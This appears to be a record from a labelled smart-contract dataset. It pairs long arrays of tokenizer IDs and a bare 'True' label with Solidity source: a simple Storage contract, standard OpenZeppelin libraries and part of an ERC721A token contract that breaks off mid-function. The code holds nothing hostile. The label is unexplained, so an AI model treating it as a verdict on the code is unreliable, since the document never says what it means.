2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
1997,
1996,
4895,
5403,
18141,
3136,
11027,
2015,
2019,
2972,
1008,
2465,
1997,
12883,
1010,
2061,
2009,
1005,
1055,
6749,
2000,
2224,
2009,
2467,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2020-10-01
*/
pragma solidity >=0.4.22 <0.7.0;
/**
* @title Storage
* @dev Store & retrieve value in a variable
*/
contract Storage {
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function store(uint256 num) public {
number = num;
}
/**
* @dev Return value
* @return value of 'number'
*/
function retrieve() public view returns (uint256){
return number;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
12609,
1011,
2184,
1011,
5890,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1018,
1012,
2570,
1026,
1014,
1012,
1021,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
5527,
1008,
1030,
16475,
3573,
1004,
12850,
3643,
1999,
1037,
8023,
1008,
1013,
3206,
5527,
1063,
21318,
3372,
17788,
2575,
2193,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3573,
3643,
1999,
8023,
1008,
1030,
11498,
2213,
16371,
2213,
3643,
2000,
3573,
1008,
1013,
3853,
3573,
1006,
21318,
3372,
17788,
2575,
16371,
2213,
1007,
2270,
1063,
2193,
1027,
16371,
2213,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
2709,
3643,
1008,
1030,
2709,
3643,
1997,
1005,
2193,
1005,
1008,
1013,
3853,
12850,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
2193,
1025,
1065,
1065,
102,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,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/
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/security/Pausable.sol
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: contracts/ERC721A.sol
// Creator: Chiru Labs
pragma solidity ^0.8.4;
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error AuxQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex - _startTokenId() times
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
if (owner == address(0)) revert AuxQueryForZeroAddress();
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
if (owner == address(0)) revert AuxQueryForZeroAddress();
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
